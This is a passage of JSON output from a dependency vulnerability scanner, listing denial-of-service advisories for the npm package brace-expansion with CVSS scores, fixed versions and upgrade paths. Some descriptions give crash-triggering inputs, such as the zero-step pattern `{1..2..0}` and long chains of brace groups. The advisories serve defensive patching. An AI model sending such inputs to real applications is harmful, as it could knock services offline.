"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
